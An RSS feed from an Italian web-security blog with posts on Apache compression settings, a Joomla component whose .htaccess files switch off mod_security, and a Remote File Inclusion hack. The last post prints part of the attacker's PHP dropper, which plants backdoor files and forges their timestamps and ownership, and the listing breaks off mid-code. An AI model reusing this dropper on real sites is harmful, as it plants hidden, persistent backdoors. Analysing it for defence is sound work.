<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Capn3m0 WebSecurity &#187; htaccess</title>
	<atom:link href="http://www.capn3m0.org/tag/htaccess/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.capn3m0.org</link>
	<description>...hacking, security, wifi and more...</description>
	<lastBuildDate>Tue, 07 Feb 2012 20:08:15 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
<xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" />
		<item>
		<title>Abilitare compressione HTTP ( Mod_deflate )</title>
		<link>http://www.capn3m0.org/abilitare-compressione-http-mod_deflate.html</link>
		<comments>http://www.capn3m0.org/abilitare-compressione-http-mod_deflate.html#comments</comments>
		<pubDate>Thu, 10 Dec 2009 09:50:34 +0000</pubDate>
		<dc:creator>capn3m0</dc:creator>
				<category><![CDATA[Tips and Tricks]]></category>
		<category><![CDATA[abilitare gzip]]></category>
		<category><![CDATA[Compressione gzip]]></category>
		<category><![CDATA[compressione http]]></category>
		<category><![CDATA[deflate]]></category>
		<category><![CDATA[htaccess]]></category>
		<category><![CDATA[mod_deflate]]></category>
		<category><![CDATA[performance]]></category>

		<guid isPermaLink="false">http://www.capn3m0.org/?p=362</guid>
		<description><![CDATA[Tempo fa avevo già accennato a come poter ottimizzare le performance del proprio sito agendo sul &#8220;php.ini&#8221; per variare alcuni parametri quali il &#8220;memory_limit&#8221; e il &#8220;max_execution_time&#8221;. Quest&#8217;oggi vi illustro come poter attivare e ottimizzare la compressione tramite Mod Deflate di Apache quando attiva nel proprio spazio in Hosting. Attivando tale compressione unita ad apposite [...]]]></description>
			<content:encoded><![CDATA[<p>Tempo fa avevo già accennato a come poter <a href="http://www.capn3m0.org/velocizzare-il-proprio-sito.html" target="_self"><strong>ottimizzare le performance</strong></a> del proprio sito agendo sul &#8220;php.ini&#8221; per variare alcuni parametri quali il &#8220;memory_limit&#8221; e il &#8220;max_execution_time&#8221;.</p>
<p>Quest&#8217;oggi vi illustro come poter <strong>attivare e ottimizzare la compressione tramite <a href="http://httpd.apache.org/docs/2.0/mod/mod_deflate.html" target="_blank">Mod Deflate</a> di Apache quando attiva nel proprio spazio in Hosting.</strong></p>
<p>Attivando tale compressione unita ad apposite modifiche al sito per ottimizzarlo al meglio (attivazione del Minify, attivazione della cache, etc) sono riuscito ad ottenere una <strong>compressione da 266Kb originari della mia Home Page a 16 K </strong>come dimostra l&#8217;immagine sottostante realizzata utilizzando il plugin &#8220;<strong>YSlow</strong>&#8220;.</p>
<p><a href="http://www.capn3m0.org/wp-content/uploads/2009/12/105.jpg" rel="lightbox[362]" title="Compressione con YSlow"><img class="aligncenter size-medium wp-image-363" title="Compressione con YSlow" src="http://www.capn3m0.org/wp-content/uploads/2009/12/105-300x118.jpg" alt="Abilitare compressione HTTP ( Mod deflate )" width="300" height="118" /></a></p>
<p><span id="more-362"></span>Grazie a ciò e alle modifiche apportate al sito attualmente &#8220;<strong>capn3m0.org</strong>&#8221; è passato da &#8220;Grade F&#8221; a &#8220;Grade C&#8221; di Yahoo riuscendo a ottimizzare ed ottenere A e B in tutte le categorie dove è possibile intervenire.</p>
<p style="text-align: center;"><a href="http://www.capn3m0.org/wp-content/uploads/2009/12/106.jpg" rel="lightbox[362]" title="Compressione YSlow - capn3m0.org"><img class="size-medium wp-image-364 aligncenter" title="Compressione YSlow - capn3m0.org" src="http://www.capn3m0.org/wp-content/uploads/2009/12/106-300x209.jpg" alt="Abilitare compressione HTTP ( Mod deflate )" width="300" height="209" /></a></p>
<p style="text-align: left;">Di seguito vi incollo il link al file &#8220;.htaccess&#8221; da utilizzare per <strong>abilitare la compressione HTTP tramite Deflate</strong>.</p>
<p style="text-align: left;"><a href="http://www.capn3m0.org/wp-content/uploads/2009/12/CompressioneGzip_capn3m0_org.zip"><strong>Download .htaccess &#8211; Compressione HTTP ON</strong></a></p>
<p style="text-align: left;">Qui invece, potete leggere direttamente il codice da utilizzare:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;">SetOutputFilter DEFLATE
AddOutputFilter DEFLATE text<span style="color: #339933;">/</span>html text<span style="color: #339933;">/</span>plain text<span style="color: #339933;">/</span>xml text<span style="color: #339933;">/</span>css application<span style="color: #339933;">/</span>javascript application<span style="color: #339933;">/</span>x<span style="color: #339933;">-</span>javascript application<span style="color: #339933;">/</span>x<span style="color: #339933;">-</span>httpd<span style="color: #339933;">-</span>php application<span style="color: #339933;">/</span>rss<span style="color: #339933;">+</span>xml application<span style="color: #339933;">/</span>atom_xml text<span style="color: #339933;">/</span>javascript
<span style="color: #666666; font-style: italic;"># Netscape 4.x has some problems...
</span>BrowserMatch ^Mozilla<span style="color: #339933;">/</span><span style="color: #cc66cc;">4</span> gzip<span style="color: #339933;">-</span>only<span style="color: #339933;">-</span>text<span style="color: #339933;">/</span>html
&nbsp;
<span style="color: #666666; font-style: italic;"># Netscape 4.06-4.08 have some more problems
</span>BrowserMatch ^Mozilla<span style="color: #339933;">/</span><span style="color: #cc66cc;">4</span>\<span style="color:#800080;">.0</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">678</span><span style="color: #009900;">&#93;</span> no<span style="color: #339933;">-</span>gzip
&nbsp;
<span style="color: #666666; font-style: italic;"># MSIE masquerades as Netscape, but it is fine
</span> BrowserMatch \bMSIE <span style="color: #339933;">!</span>no<span style="color: #339933;">-</span>gzip <span style="color: #339933;">!</span>gzip<span style="color: #339933;">-</span>only<span style="color: #339933;">-</span>text<span style="color: #339933;">/</span>html
&nbsp;
<span style="color: #666666; font-style: italic;"># NOTE: Due to a bug in mod_setenvif up to Apache 2.0.48
</span><span style="color: #666666; font-style: italic;"># the above regex won't work. You can use the following
</span><span style="color: #666666; font-style: italic;"># workaround to get the desired effect:
</span>BrowserMatch \bMSI<span style="color: #009900;">&#91;</span>E<span style="color: #009900;">&#93;</span> <span style="color: #339933;">!</span>no<span style="color: #339933;">-</span>gzip <span style="color: #339933;">!</span>gzip<span style="color: #339933;">-</span>only<span style="color: #339933;">-</span>text<span style="color: #339933;">/</span>html
&nbsp;
<span style="color: #666666; font-style: italic;"># Don't compress images
</span>SetEnvIfNoCase Request_URI \
\<span style="color: #339933;">.</span><span style="color: #009900;">&#40;</span>?<span style="color: #339933;">:</span>gif<span style="color: #339933;">|</span>jpe?g<span style="color: #339933;">|</span>png<span style="color: #009900;">&#41;</span>$ no<span style="color: #339933;">-</span>gzip dont<span style="color: #339933;">-</span>vary</pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://www.capn3m0.org/abilitare-compressione-http-mod_deflate.html/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>[FIX] &#8211; JOOMLA &#8211; Componente Expose &#8211; Problemi Login e Upload</title>
		<link>http://www.capn3m0.org/fix-joomla-componente-expose-problemi-login-e-upload.html</link>
		<comments>http://www.capn3m0.org/fix-joomla-componente-expose-problemi-login-e-upload.html#comments</comments>
		<pubDate>Wed, 11 Feb 2009 11:23:43 +0000</pubDate>
		<dc:creator>capn3m0</dc:creator>
				<category><![CDATA[Programmazione]]></category>
		<category><![CDATA[Tips and Tricks]]></category>
		<category><![CDATA[com_expose]]></category>
		<category><![CDATA[error 500 internal server error]]></category>
		<category><![CDATA[FIX]]></category>
		<category><![CDATA[Hosting]]></category>
		<category><![CDATA[htaccess]]></category>
		<category><![CDATA[joomla]]></category>
		<category><![CDATA[Sicurezza]]></category>

		<guid isPermaLink="false">http://www.capn3m0.org/?p=124</guid>
		<description><![CDATA[Capita frequentemente che sui siti basati sul Cms Joomla venga installato il componente &#8220;com_expose&#8221; che tramite una semplice interfaccia in Flash consente di creare e gestire facilmente degli Album Fotografici. Problema I problemi che si riscontrano utilizzando detto componente in Hosting che hanno abilitato il &#8220;Mod_Security&#8221; sono principalmentdue due: 1) Mancato accesso all&#8217;interfaccia di gestione [...]]]></description>
			<content:encoded><![CDATA[<p>Capita frequentemente che sui siti basati sul Cms <a href="http://www.joomla.org/" target="_blank"><strong>Joomla</strong></a> venga installato il componente &#8220;<a href="http://extensions.joomla.org/extensions/254/details" target="_blank"><strong>com_expose</strong></a>&#8221; che tramite una semplice interfaccia in Flash consente di creare e gestire facilmente degli Album Fotografici.</p>
<h1><strong>Problema</strong></h1>
<p>I problemi che si riscontrano utilizzando detto componente in Hosting che hanno abilitato il &#8220;<a href="http://www.modsecurity.org/" target="_blank"><strong>Mod_Security</strong></a>&#8221; sono principalmentdue due:</p>
<p>1) Mancato accesso all&#8217;interfaccia di gestione dal Pannello di Controllo del Joomla;</p>
<p>2) Errore nell&#8217;upload dei file tramite l&#8217;interfaccia Flash.</p>
<p><span id="more-124"></span></p>
<h1>Perché?</h1>
<p>Entrambe le problematiche nascono dalla presenza in diverse cartelle del file &#8220;<a href="http://en.wikipedia.org/wiki/Htaccess" target="_blank"><strong>.htaccess</strong></a>&#8221; contenente due istruzioni che, se abilitate nel Server in Hosting, consentono di disabilitare il &#8220;Mod_Security&#8221; per evitare che blocchi il passaggio di dati/file tra l&#8217;interfaccia Flash e il Server.</p>
<p>Il codice di questo file è il seguente:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;">SecFilterEngine Off
SecFilterScanPOST Off</pre></div></div>

<p>Sul mio ed altri Hosting tale possibilità è disabilitata in quanto le misure di Sicurezza devono (giustamente) essere sempre attive e, quindi, il file &#8220;.htaccess&#8221; genera il manifestarsi di errori &#8220;500 Internal Server Error&#8221; e il mancato funzionamento degli applicativi/componenti dove esso è posizionato.</p>
<p>Al fine di risolvere le due problematiche precedentemente indicate, quindi, è necessario <strong>eliminare il file .htaccess </strong>dai seguenti percorsi:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">/</span>components<span style="color: #339933;">/</span>com_expose<span style="color: #339933;">/</span>expose<span style="color: #339933;">/</span>manager<span style="color: #339933;">/</span>amfphp
<span style="color: #339933;">/</span>components<span style="color: #339933;">/</span>com_expose<span style="color: #339933;">/</span>expose<span style="color: #339933;">/</span>manager<span style="color: #339933;">/</span>upload</pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://www.capn3m0.org/fix-joomla-componente-expose-problemi-login-e-upload.html/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>.htaccess hacking &#8211; Redirect per chi arriva dai Motori di Ricerca &#8211; PARTE 2</title>
		<link>http://www.capn3m0.org/htaccess-hacking-redirect-per-chi-arriva-dai-motori-di-ricerca-parte-2.html</link>
		<comments>http://www.capn3m0.org/htaccess-hacking-redirect-per-chi-arriva-dai-motori-di-ricerca-parte-2.html#comments</comments>
		<pubDate>Sun, 08 Feb 2009 17:41:03 +0000</pubDate>
		<dc:creator>capn3m0</dc:creator>
				<category><![CDATA[Sicurezza]]></category>
		<category><![CDATA[defacement]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[hacking htaccess]]></category>
		<category><![CDATA[htaccess]]></category>
		<category><![CDATA[http referer]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[powergrep]]></category>

		<guid isPermaLink="false">http://www.capn3m0.org/?p=119</guid>
		<description><![CDATA[Ad Ottobre scorso avevo parlato di un Hacking che avviene inserendo un File &#8220;.htaccess&#8221; nel sito vittima che successivamente rediretta i visitatori provenienti dai più comuni Motori di Ricerca verso una pagina malevola. Per chi volesse leggerlo ecco il link: http://www.capn3m0.org/2008/10/htaccess-hacking-redirect-per-chi-arriva-dai-motori-di-ricerca/ In questo articolo vi informo che ho individuato la prima chiamata che viene fatta [...]]]></description>
			<content:encoded><![CDATA[<p>Ad Ottobre scorso avevo parlato di un Hacking che avviene inserendo un File &#8220;.htaccess&#8221; nel sito vittima che successivamente rediretta i visitatori provenienti dai più comuni Motori di Ricerca verso una pagina malevola.</p>
<p>Per chi volesse leggerlo ecco il link: <a href="http://www.capn3m0.org/htaccess-hacking-redirect-per-chi-arriva-dai-motori-di-ricerca.html"><strong>http://www.capn3m0.org/2008/10/htaccess-hacking-redirect-per-chi-arriva-dai-motori-di-ricerca/</strong></a></p>
<p>In questo articolo vi informo che ho individuato la prima chiamata che viene fatta al sito vittima tramite una vulnerabilità di <a href="http://it.wikipedia.org/wiki/Remote_File_Inclusion" target="_blank"><strong>Remote File Inclusione (RFI).</strong></a></p>
<p><span id="more-119"></span></p>
<p>Chi attacca fa interpretare al sito questo codice Php che una volta elaborato dalla vittima crea dei file chiamati &#8220;<strong>nomegofer.php</strong>&#8221; in varie aree del sito cosicché chi esegue tale azione può richiamarli quando vuole per fare in modo che il sito venga nuovamente infettato. Questo il codice:</p>
<div id="foo">

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">&amp;</span>lt<span style="color: #339933;">;</span> ?php
<span style="color: #990000;">error_reporting</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">global</span> <span style="color: #000088;">$HTTP_SERVER_VARS</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$START</span> <span style="color: #339933;">=</span> <span style="color: #990000;">time</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$WD_TIMEOUT</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">8</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">7</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">6</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">6</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">5</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">5</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">5</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">5</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">function</span> my_fwrite<span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #339933;">,</span><span style="color: #000088;">$data</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #000000; font-weight: bold;">global</span> <span style="color: #000088;">$CURFILE</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$file_mtime</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><span style="color: #990000;">filemtime</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$file_atime</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><span style="color: #990000;">fileatime</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$dir_mtime</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><span style="color: #990000;">filemtime</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">@</span><span style="color: #990000;">dirname</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$dir_atime</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><span style="color: #990000;">fileatime</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">@</span><span style="color: #990000;">dirname</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$file_h</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><span style="color: #990000;">fopen</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;wb&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
        <span style="color: #339933;">@</span><span style="color: #990000;">fwrite</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$file_h</span><span style="color: #339933;">,</span><span style="color: #000088;">$data</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #339933;">@</span><span style="color: #990000;">fclose</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$file_h</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$file_mtime</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
            <span style="color: #339933;">@</span><span style="color: #990000;">touch</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #339933;">,</span><span style="color: #000088;">$file_mtime</span><span style="color: #339933;">,</span><span style="color: #000088;">$file_atime</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #009900;">&#125;</span><span style="color: #b1b100;">elseif</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">@</span><span style="color: #990000;">filemtime</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$CURFILE</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
            <span style="color: #339933;">@</span><span style="color: #990000;">chmod</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #339933;">,@</span><span style="color: #990000;">fileperms</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$CURFILE</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
            <span style="color: #339933;">@</span><span style="color: #990000;">touch</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #339933;">,@</span><span style="color: #990000;">filemtime</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$CURFILE</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span>
            <span style="color: #339933;">@</span><span style="color: #990000;">fileatime</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$CURFILE</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
            <span style="color: #339933;">@</span><span style="color: #990000;">chgrp</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #339933;">,@</span><span style="color: #990000;">filegroup</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$CURFILE</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
            <span style="color: #339933;">@</span><span style="color: #990000;">chown</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #339933;">,@</span><span style="color: #990000;">fileowner</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$CURFILE</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
        <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$dir_mtime</span><span style="color: #009900;">&#41;</span>
            <span style="color: #339933;">@</span><span style="color: #990000;">touch</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">@</span><span style="color: #990000;">dirname</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span><span style="color: #000088;">$dir_mtime</span><span style="color: #339933;">,</span><span style="color: #000088;">$dir_atime</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #b1b100;">return</span> <span style="color: #000088;">$f</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span><span style="color: #b1b100;">else</span><span style="color: #009900;">&#123;</span>
        <span style="color: #b1b100;">return</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">function</span> ext<span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
    <span style="color: #b1b100;">return</span> <span style="color: #990000;">substr</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #339933;">,</span> <span style="color: #990000;">strrpos</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;.&quot;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">function</span> walkdir<span style="color: #009900;">&#40;</span><span style="color: #000088;">$p</span><span style="color: #339933;">,</span><span style="color: #000088;">$func</span><span style="color: #339933;">=</span><span style="color: #0000ff;">'_walkdir'</span><span style="color: #339933;">,</span><span style="color: #000088;">$l</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
    <span style="color: #000000; font-weight: bold;">global</span> <span style="color: #000088;">$START</span><span style="color: #339933;">;</span>
    <span style="color: #000000; font-weight: bold;">global</span> <span style="color: #000088;">$WD_TIMEOUT</span><span style="color: #339933;">;</span>
    <span style="color: #000000; font-weight: bold;">global</span> <span style="color: #000088;">$FL</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$func_f</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">{$func}</span>_f&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$func_d</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">{$func}</span>_d&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$func_s</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">{$func}</span>_s&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$func_e</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">{$func}</span>_e&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$dh</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><span style="color: #990000;">opendir</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$p</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
        <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">function_exists</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$func_s</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
            <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$func_s</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$p</span><span style="color: #339933;">,</span><span style="color: #000088;">$l</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #b1b100;">return</span> <span style="color: #cc66cc;">1</span><span style="color: #339933;">;</span>
        <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
        <span style="color: #b1b100;">while</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><span style="color: #990000;">readdir</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$dh</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
            <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">time</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">-</span> <span style="color: #000088;">$START</span> <span style="color: #339933;">&amp;</span>gt<span style="color: #339933;">;=</span> <span style="color: #000088;">$WD_TIMEOUT</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$l</span><span style="color: #009900;">&#93;</span> <span style="color: #009900;">&#41;</span>
                <span style="color: #b1b100;">break</span><span style="color: #339933;">;</span>
            <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span> <span style="color: #339933;">==</span> <span style="color: #0000ff;">'.'</span> <span style="color: #339933;">||</span> <span style="color: #000088;">$f</span> <span style="color: #339933;">==</span> <span style="color: #0000ff;">'..'</span> <span style="color: #009900;">&#41;</span>
                <span style="color: #b1b100;">continue</span><span style="color: #339933;">;</span>
            <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">@</span><span style="color: #990000;">is_dir</span> <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$p</span><span style="color: #006699; font-weight: bold;">$f</span>/&quot;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span>
                walkdir<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$p</span><span style="color: #006699; font-weight: bold;">$f</span>/&quot;</span><span style="color: #339933;">,</span><span style="color: #000088;">$func</span><span style="color: #339933;">,</span><span style="color: #000088;">$l</span><span style="color: #339933;">+</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
            <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">@</span><span style="color: #990000;">is_dir</span> <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$p</span><span style="color: #006699; font-weight: bold;">$f</span>/&quot;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;</span> <span style="color: #990000;">function_exists</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$func_d</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
                <span style="color: #000088;">$func_d</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$p</span><span style="color: #006699; font-weight: bold;">$f</span>/&quot;</span><span style="color: #339933;">,</span><span style="color: #000088;">$l</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
            <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">@</span><span style="color: #990000;">is_file</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$p</span><span style="color: #006699; font-weight: bold;">$f</span>&quot;</span> <span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;</span> <span style="color: #990000;">function_exists</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$func_f</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
                <span style="color: #000088;">$func_f</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$p</span><span style="color: #006699; font-weight: bold;">$f</span>&quot;</span> <span style="color: #339933;">,</span><span style="color: #000088;">$l</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
        <span style="color: #990000;">closedir</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$dh</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">function_exists</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$func_e</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
            <span style="color: #000088;">$func_e</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$p</span><span style="color: #339933;">,</span><span style="color: #000088;">$l</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">function</span> r_cut<span style="color: #009900;">&#40;</span><span style="color: #000088;">$p</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
    <span style="color: #000000; font-weight: bold;">global</span> <span style="color: #000088;">$R</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">return</span> <span style="color: #990000;">substr</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$p</span><span style="color: #339933;">,</span><span style="color: #990000;">strlen</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$R</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
